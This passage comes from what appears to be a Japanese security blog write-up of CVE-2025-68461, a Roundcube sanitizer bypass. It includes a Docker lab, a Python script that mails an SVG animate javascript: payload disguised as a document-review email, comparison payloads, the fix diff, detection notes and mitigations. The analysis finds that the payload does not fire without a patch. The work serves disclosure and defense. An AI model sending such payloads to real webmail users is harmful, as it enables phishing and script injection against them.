&lt;p&gt;サニタイザーは&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグとその&lt;code&gt;javascript:&lt;/code&gt;ペイロードを&lt;strong&gt;完全にそのまま&lt;/strong&gt;出力します。比較のために挙げると、&lt;code&gt;attributeName="href"&lt;/code&gt;を使った同じペイロードは正しくブロックされ、&lt;code&gt;&amp;lt;!-- animate blocked --&amp;gt;&lt;/code&gt;に置き換えられます。&lt;/p&gt;
&lt;h2 id="cve-2025-68461の概念実証:サニタイザーバイパスの確認"&gt;CVE-2025-68461の概念実証：サニタイザーバイパスの確認&lt;/h2&gt;
&lt;p&gt;脆弱性を検証するため、カスタマイズしたPoCを用いて、Roundcubeのサニタイザーが名前空間プレフィックス付きの属性を捕捉できないことを、ローカル環境で実証します。 &lt;/p&gt;
&lt;h3 id="ペイロードの配信"&gt;ペイロードの配信&lt;/h3&gt;
&lt;p&gt;ペイロードは、SMTP経由で被害者のRoundcubeメールボックスへHTMLメールを送信することで配信されます。&lt;/p&gt;
&lt;p&gt;テスト環境ではDockerを使用し、Roundcube 1.6.11とローカルメールサーバーとしてGreenMailを利用することで、外部のSMTP認証情報を不要にしています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;docker-compose.yml：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3.8"&lt;/span&gt;
&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;greenmail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;greenmail/standalone:2.0.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3025:3025"&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# SMTP&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3143:3143"&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# IMAP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;GREENMAIL_OPTS=-Dgreenmail.setup.test.all -Dgreenmail.users=victim:victim@lab.local&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;roundcube&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;roundcube/roundcubemail:1.6.11-apache&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"8080:80"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ROUNDCUBEMAIL_DEFAULT_HOST=greenmail&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ROUNDCUBEMAIL_DEFAULT_PORT=3143&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ROUNDCUBEMAIL_SMTP_SERVER=greenmail&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ROUNDCUBEMAIL_SMTP_PORT=3025&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;depends_on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;greenmail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ペイロードを送信するPythonスクリプト：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;smtplib&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email.mime.multipart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MIMEMultipart&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;email.mime.text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MIMEText&lt;/span&gt;

&lt;span class="n"&gt;PAYLOAD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"""&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;Please review the attached document:&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50"&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;  &amp;lt;a class="a"&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;    &amp;lt;animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')" /&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;    &amp;lt;text x="10" y="30" fill="blue" font-size="14"&lt;/span&gt;
&lt;span class="s2"&gt;          style="text-decoration:underline;cursor:pointer"&amp;gt;Click to view document&amp;lt;/text&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;  &amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;Best regards,&amp;lt;br&amp;gt;Document System&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;"""&lt;/span&gt;

&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MIMEMultipart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"alternative"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"From"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"attacker@lab.local"&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"To"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"victim@lab.local"&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Subject"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Document Review Request"&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MIMEText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"View in HTML mode."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"plain"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MIMEText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAYLOAD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"html"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;smtplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SMTP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3025&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"attacker@lab.local"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"victim@lab.local"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_string&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="domによる検証"&gt;DOMによる検証&lt;/h3&gt;
&lt;p&gt;2つの差分テストがバイパスを裏付けます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスト1 &amp;mdash; &lt;code&gt;attributeName="href"&lt;/code&gt;（ブロックされる）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;サニタイザーは&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグを正しく識別してブロックします。レンダリングされたDOMでは、ペイロードの代わりに&lt;code&gt;&amp;lt;!-- animate blocked --&amp;gt;&lt;/code&gt;が表示されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ペイロード&lt;/strong&gt; : &lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns:xlink&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/1999/xlink"&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"200"&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"50"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"a"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;animate&lt;/span&gt; &lt;span class="na"&gt;attributeName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"href"&lt;/span&gt; &lt;span class="na"&gt;values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert('CVE-2025-68461')"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"30"&lt;/span&gt; &lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"blue"&lt;/span&gt; &lt;span class="na"&gt;font-size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"14"&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text-decoration:underline;cursor:pointer"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      Click to view document
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;結果&lt;/strong&gt; :
&lt;figure&gt;&lt;img alt="" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-17_cve-2025-68461/Pasted image 20260304113740.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;テスト2 &amp;mdash; &lt;code&gt;attributeName="xlink:href"&lt;/code&gt;（バイパスされる）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;完全な&lt;code&gt;javascript:&lt;/code&gt; URIを含む&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグが、サニタイザーをまったく手つかずのまま通過します。 &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ペイロード&lt;/strong&gt; :&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;svg&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"200"&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"50"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"v1a"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;animate&lt;/span&gt; &lt;span class="na"&gt;attributeName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"xlink:href"&lt;/span&gt; &lt;span class="na"&gt;values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert('XSS-CVE-2025-68461')"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"30"&lt;/span&gt; &lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"blue"&lt;/span&gt; &lt;span class="na"&gt;font-size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"14"&lt;/span&gt;
          &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text-decoration: underline; cursor: pointer"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Click to view document&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;結果&lt;/strong&gt; : &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-17_cve-2025-68461/Pasted image 20260304113640.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="javascriptが実行されない理由"&gt;JavaScriptが実行されない理由&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;dumpHtml()&lt;/code&gt;による名前空間の除去&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Roundcubeの&lt;code&gt;dumpHtml()&lt;/code&gt;メソッドは、SVG要素をシリアライズする際に名前空間宣言を再付与しようとします。これはセキュリティ対策ではありません。PHPの&lt;code&gt;DOMDocument::loadHTML()&lt;/code&gt;がXMLの名前空間を理解せず、パース中に破棄してしまうために存在する処理です。このメソッドはDOMに残存している名前空間を問い合わせ、それらを再付与します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;if ($tagName == 'svg') {&lt;/span&gt;
&lt;span class="x"&gt;    $xpath = new DOMXPath($node-&amp;gt;ownerDocument);&lt;/span&gt;
&lt;span class="x"&gt;    foreach ($xpath-&amp;gt;query('namespace::*') as $ns) {&lt;/span&gt;
&lt;span class="x"&gt;        if ($ns-&amp;gt;nodeName != 'xmlns:xml') {&lt;/span&gt;
&lt;span class="x"&gt;            $tag .= sprintf(' %s="%s"',&lt;/span&gt;
&lt;span class="x"&gt;                $ns-&amp;gt;nodeName,&lt;/span&gt;
&lt;span class="x"&gt;                htmlspecialchars($ns-&amp;gt;nodeValue, ENT_QUOTES, $this-&amp;gt;config['charset'])&lt;/span&gt;
&lt;span class="x"&gt;            );&lt;/span&gt;
&lt;span class="x"&gt;        }&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;問題は、このコードが実行される前に、&lt;code&gt;loadHTML()&lt;/code&gt;がすでに&lt;code&gt;xmlns:xlink="http://www.w3.org/1999/xlink"&lt;/code&gt;宣言を破棄してしまっていることです。XPathクエリは残存する名前空間を一つも見つけられないため、&lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt;タグは名前空間属性がまったくない状態で出力されます。&lt;code&gt;attributeName&lt;/code&gt;の_値_である&lt;code&gt;"xlink:href"&lt;/code&gt;は、名前空間宣言ではなく属性値の中の文字列であるため、そのまま通過します。しかしブラウザーには、それを解決するための&lt;code&gt;xlink&lt;/code&gt;名前空間が存在しません。SMILエンジンは&lt;code&gt;xlink:href&lt;/code&gt;をアニメーション可能なプロパティに対応付けられないため、&lt;code&gt;animVal&lt;/code&gt;は空のままとなり、&lt;code&gt;javascript:&lt;/code&gt; URIは適用されることがありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ブラウザーにおける&lt;code&gt;xlink:href&lt;/code&gt;の非推奨化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;xlink:href&lt;/code&gt;属性は&lt;a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/xlink:href"&gt;SVG 2で非推奨&lt;/a&gt;となっています。SVG 2では&lt;code&gt;xlink&lt;/code&gt;名前空間の必要性が完全になくなり、代わりに&lt;code&gt;href&lt;/code&gt;を使うべきとされています。最新のブラウザーは後方互換性のために&lt;code&gt;xlink:href&lt;/code&gt;を引き続きサポートしていますが、それは&lt;code&gt;xlink&lt;/code&gt;名前空間が適切に宣言されている場合に限られます。Roundcubeの処理パイプラインはこの名前空間宣言を取り除いてしまうため、ブラウザーは&lt;code&gt;xlink:href&lt;/code&gt;をアニメーション可能なプロパティとして解決できず、アニメーションは何も起きずに失敗します。&lt;/p&gt;
&lt;h3 id="確認"&gt;確認&lt;/h3&gt;
&lt;p&gt;これは、正しい名前空間宣言を強制するようサーバー上で&lt;code&gt;dumpHtml()&lt;/code&gt;にパッチを当てることで確認されました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;if ($tagName == 'svg') {&lt;/span&gt;
&lt;span class="x"&gt;    $tag .= 'xmlns:xlink="http://www.w3.org/1999/xlink"';&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;このパッチを当てた状態でリンクをクリックすると、Roundcube内で&lt;code&gt;alert()&lt;/code&gt;が正常にトリガーされました。パッチを元に戻すと、動作しない状態に戻りました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-17_cve-2025-68461/Pasted image 20260304123900.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="cve-2025-68461の修正"&gt;CVE-2025-68461の修正&lt;/h2&gt;
&lt;p&gt;以下では、RoundcubeがXMLの名前空間を正規化することで重大な属性フィルターバイパスをどのようにパッチしたかをまとめ、続いて、バージョン文字列の抽出を通じてNucleiで脆弱なサーバーを大規模に検出する方法を解説します。&lt;/p&gt;
&lt;h3 id="修正済みコードの解析"&gt;修正済みコードの解析&lt;/h3&gt;
&lt;p&gt;この修正では、比較の前に名前空間プレフィックスを取り除くステップが追加されています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// BEFORE (vulnerable): raw string comparison&lt;/span&gt;
&lt;span class="x"&gt;$val = strtolower(trim($attr-&amp;gt;nodeValue));&lt;/span&gt;
&lt;span class="x"&gt;if ($attr_value === $val) {&lt;/span&gt;
&lt;span class="x"&gt;    return true;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;

&lt;span class="x"&gt;// AFTER (fixed): strip namespace prefix before comparison : xlink:href =&amp;gt; href&lt;/span&gt;
&lt;span class="x"&gt;$val = strtolower(trim($attr-&amp;gt;nodeValue));&lt;/span&gt;
&lt;span class="x"&gt;$val = trim(preg_replace('/^.*:/', '', strtolower($attr-&amp;gt;nodeValue)));&lt;/span&gt;
&lt;span class="x"&gt;if ($attr_value === $val) {&lt;/span&gt;
&lt;span class="x"&gt;    return true;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これにより、比較の前に&lt;code&gt;"xlink:href"&lt;/code&gt;が&lt;code&gt;"href"&lt;/code&gt;になり、&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグが正しくブロックされます。&lt;/p&gt;
&lt;h3 id="nucleiによる検出"&gt;Nucleiによる検出&lt;/h3&gt;
&lt;p&gt;脆弱なRoundcubeインスタンスを大規模に特定するためのNucleiテンプレートが用意されています。このテンプレートは、ログインページのJavaScriptからrcversion整数を抽出し、影響を受けるバージョン範囲と比較します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-17_cve-2025-68461/Pasted image 20260304134615.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;このテンプレートは、1.5.12未満または1.6.12未満のバージョンで動作しているすべてのRoundcubeインスタンスに一致します。認証は不要です。バージョンはログインページで公開されています。&lt;/p&gt;
&lt;h2 id="cve-2025-68461の緩和策とベストプラクティス"&gt;CVE-2025-68461の緩和策とベストプラクティス&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;今すぐ更新する：ただちにRoundcube 1.6.12または1.5.12にアップグレードしてください。これらのバージョンにはCVE-2025-68461の修正が含まれています。&lt;/li&gt;
&lt;li&gt;コンテンツセキュリティポリシー：&lt;code&gt;javascript:&lt;/code&gt; URIとインラインスクリプトの実行を禁止する厳格なCSPヘッダーを導入し、XSSに対する多層防御を実現してください。&lt;/li&gt;
&lt;li&gt;ネットワークの露出：可能な場合は、Webメールインターフェースへのパブリックアクセスを制限してください。RoundcubeインスタンスはAPTグループにとって価値の高い標的です。&lt;/li&gt;
&lt;li&gt;悪用の監視：SVGの&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;要素を含むメール、特に&lt;code&gt;attributeName&lt;/code&gt;属性に&lt;code&gt;xlink:href&lt;/code&gt;が含まれるものに注意してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Roundcubeセキュリティアドバイザリ（1.6.12 / 1.5.12）&lt;/td&gt;
